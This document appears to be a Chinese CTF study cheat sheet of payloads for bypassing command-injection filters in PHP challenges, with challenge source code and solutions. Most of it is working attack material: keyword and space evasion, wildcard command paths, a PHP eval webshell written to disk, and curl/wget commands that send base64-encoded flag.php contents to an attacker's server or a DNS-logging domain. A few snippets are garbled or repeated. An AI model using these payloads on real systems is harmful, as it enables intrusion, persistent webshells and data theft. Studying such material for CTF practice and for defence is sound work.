命令执行总结(后续更)

总结下目前遇到的题目解法,大多数都直接用大佬的WP或者总结中一些trick,做个记录而已,有新的会更新的

命令执行:

过滤cat等关键词

  • 代替
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    sh /flag 2>%261  //报错出文件内容
  • 使用转义符
    1
    2
    ca\t /fl\ag
    cat fl''ag
    /与\效果一样,’’和””效果一样
  • 内联执行绕过
    拼接
1
1;a=fl;b=ag.php;cat$IFS$a$b

在linux里$和PHP中的`一个作用,我们也可以这样

1
2
3
4
5
6
a=ca;b=t;c=./flag
$a$b $c
(假设该目录下有index.php和flag.php)
cat `ls` 
等同于-->
cat flag.php;cat index.php
  • 变量绕过
    1
    2
    a=c;b=a;c=t;
    $a$b$c 1.txt
  • 编码进制绕过
    1
    2
    3
    4
    5
    6
    7
    [root~]#  echo 'cat' | base64

    Y2F0wqAK

    [root~]#  `echo 'Y2F0wqAK' | base64 -d` 1.txt

    hello world
    16进制
    1
    2
    echo "0x636174202e2f666c6167"|xxd -r -p|bash
    或者采用上述$符号来执行也行
    其他进制同理
  • 过滤文件名绕过(比如etc/passwd)
    1
    2
    3
    4
    5
    1)利用正则匹配绕过
    [root~]# cat /???/pass*
    2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
    [root~]# cat /???/pass*
    备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/
  • 命令执行函数system()绕过
    1
    2
    3
    4
    5
    6
    7
    “\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);
    (sy.(st).em)(whoami);
    使用内敛执行代替system
    echo `ls`;
    echo $(ls);
    ?><?=`ls`;
    ?><?=$(ls);
  • 使用$*$@$x,${x}
    原理:在没有传参的情况下,上面的特殊变量都是为空
1
2
3
4
ca$*t ./flag
ca$@t ./flag
ca$2t ./flag
cat${11}t ./flag
  • 读取文件
    1
    2
    3
    4
    5
    curl file:///flag
    strings /flag
    uniq -c/etc/passwd
    bash -v /etc/passwd
    rev /etc/passwd
    dir与ls的升级版
    1
    find -- 列出当前目录下的文件以及子目录所有文件

过滤空格

1
2
3
4
5
6
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

过滤目录分隔符/

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

采用多个管道命令即可

1
;cd flag_is_here;cat *

过滤分隔符|&;

1
2
3
4
5
;	//分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
  • 可用%0a来代替,%0a一般情况下是最标准的命令链接符号

    换行符 %0a ?cmd=123%0als
    回车符 %0d ?cmd=123%0dls
    连续指令 ; ?1=123;pwd
    后台进程 & ?1=123&pwd
    管道 | ?1=123|pwd
    逻辑运算 ||或&& ?1=123&&pwd
  • ?>代替;
    在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在php语句之后加上一个分号

例题:ctfshow36web

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

这道题过滤了;,我们就可以尝试用?>来代替分号

1
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

字符串长度受限

https://www.anquanke.com/post/id/87203

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/桌面# ls -t >a     #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found

\是指换行,ls -t将文件按照时间顺序输出,sh可以从一个文件中读取命令来执行

无回显

  1. shell_exec等无回显函数
    判断:ls;sleep(3)

利用:

复制,压缩,写shell等方法

1
2
3
4
5
6
7
copy flag.php 1.txt
mv flag.php flag.txt
cat flag.php > flag.txt
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

然后访问1.txt等对应生成的文件
在vps上建立记录脚本

在自己的公网服务器站点根目录写入php文件,内容如下record.php

1
2
3
4
5
6
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

在目标服务器的测试点可以发送下面其中任意一条请求进行测试
curl http://..*.**/record.php?data=cat flag.php|base64

wget http://.../record.php?data=cat flag.php|base64

通过Http请求/dns请求等方式带出数据

利用:

curl 命令.域名

sample:

1
2
3
4
5
6
#用<替换读取文件中的空格,且对输出结果base64编码
curl `cat<flag.php|base64`

#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.v4utm7.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io

更多方法参考:https://blog.csdn.net/qq_43625917/article/details/107873787
linux tee命令

linux tee命令用于读取标准输入的数据,并将其内容输出成文件

1
2
3
用法:
tee file1 file2 //复制文件
ls /|tee 1.txt //命令输出

2.>/dev/null 2>&1类无回显

sample:ctfshow web入门42

1
2
3
4
5
6
7
 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);

/dev/null 2>&1意思是不进行回显的意思
进行命令分割就可

1
2
3
4
5
;	//分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

payload:

1
2
cat flag.php||
cat flag.php;

无数字字母getshell

思路:取反~,异或^,或运算|

这里羽师傅做过总结的:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

或运算:ctfshow-web41

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
题解:https://wp.ctf.show/d/137-ctfshow-web-web41

使用方法:

1
python3 exp.py 题目地址

过滤括号

使用不需要括号的函数

  • echo
    1
    echo `cat /flag` 
  • require,include
    1
    2
    require '/flag'
    include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
    不需要引号和空格
    1
    2
    #<?=require~~flag.txt?>
    <?=require~%d0%99%93%9e%98?> 

    无参数RCE

无参数详解:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

读取目录:

1
2
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

注:pos(localeconv())等于.
读取flag文件:

1
2
print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
highlight_file(next(array_reverse(scandir(pos(localeconv())))));

内敛执行(常用)

常用payload:

1
2
3
4
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

将``或$()内命令的输出作为输入执行

open_basedir绕过

Bypass open_basedir

disable_function绕过

Bypass disable_function

通配符+绝对路径调用命令

原理:

因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制。

一些常用工具所在目录:

/bin/cat

/bin/base64 flag.php:base64编码flag.php的内容。

/usr/bin/bzip2 flag.php:将flag.php文件进行压缩,然后再将其下载

图片

题目:ctfshow-web入门55

1
2
3
4
5
6
7
8
9
10
11
<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。
sample1:

1
/???/????64 ????.???  #/bin/base64 flag.php

sample2:

1
/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php

然后下载即可

grep绕过关键词过滤

使用:

1
2
grep { flag.php
grep { f???????

打印flag.php中含有{的行
题目:ctfshow-web入门54

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

滤了很多关键词,正好grep没有过滤,再用${IFS}代替空格,fla?.php代替flag.php即可绕过。
payload:

1
grep${IFS}f${IFS}fla?.php

使用~$()构造数字

例题:ctfshow-web入门57

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);

需要传36,但是禁了数字。
查了一下资料,发现在shell中可以利用$()进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可

$(()) 代表做一次运算,因为里面为空,也表示值为0

$((~$(()))) 对0作取反运算,值为-1

$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2

$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

所以我们只需要构造出-37,再进行取反就可以得到36。鉴于太复杂,写个jio本

1
2
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

生成的payload:

1
2
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

disable_funcitons全通payload

该方法使用php类来绕过,可以配置disable_classes来禁用类

读目录

1
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

读文件

1
2
3
4
5
6
7
8
9
10
try {
  $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
  foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) {
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
}

利用php内置类rce

利用 FilesystemIterator 获取指定目录下的所有文件

题:ctfshow-web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

payload:
?v1=FilesystemIterator&v2=getcwd

使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce

题:ctfshow-web109

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reorting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?> 

payload:

1
2
?v1=Exception&v2=system('cat *')
?v2=Reflectionclass&v2=system('cat *')

$PATH环境变量绕过

第一种,可以使用大写字母数字和{}

可以使用环境变量来绕过,$PATH环境变量截取字母

1
2
3
4
$PATH 
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
echo ${PATH:5:1}${PATH:11:1}
ls